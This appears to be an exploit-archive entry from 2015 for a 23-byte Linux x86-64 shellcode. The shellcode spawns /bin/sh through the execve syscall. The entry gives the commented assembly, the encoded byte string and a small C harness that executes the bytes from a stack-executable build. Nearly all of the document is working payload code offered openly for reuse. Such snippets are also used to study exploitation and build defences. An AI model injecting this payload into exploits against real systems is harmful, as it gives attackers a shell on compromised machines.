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linux/x86-64 - Execve /bin/sh Shellcode Via Push - 23 bytes
[/*
#
# Execve /bin/sh Shellcode Via Push (Linux x86_64 23 bytes)
#
# Dying to be the shortest.
#
# Copyright (C) 2015 Gu Zhengxiong (rectigu@gmail.com)
#
# 27 April 2015
#
# GPL
#
.global _start
_start:
# char *const argv[]
xorl %esi, %esi
# 'h' 's' '/' '/' 'n' 'i' 'b' '/'
movq $0x68732f2f6e69622f, %rbx
# for '\x00'
pushq %rsi
pushq %rbx
pushq %rsp
# const char *filename
popq %rdi
# __NR_execve 59
pushq $59
popq %rax
# char *const envp[]
xorl %edx, %edx
syscall
*/
/*
gcc -z execstack push64.c
uname -r
3.19.3-3-ARCH
*/
#include <stdio.h>
#include <string.h>
int
main(void)
{
char *shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
"\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";
printf("strlen(shellcode)=%d\n", strlen(shellcode));
((void (*)(void))shellcode)();
return 0;
}
# 0day.today [2024-12-26] #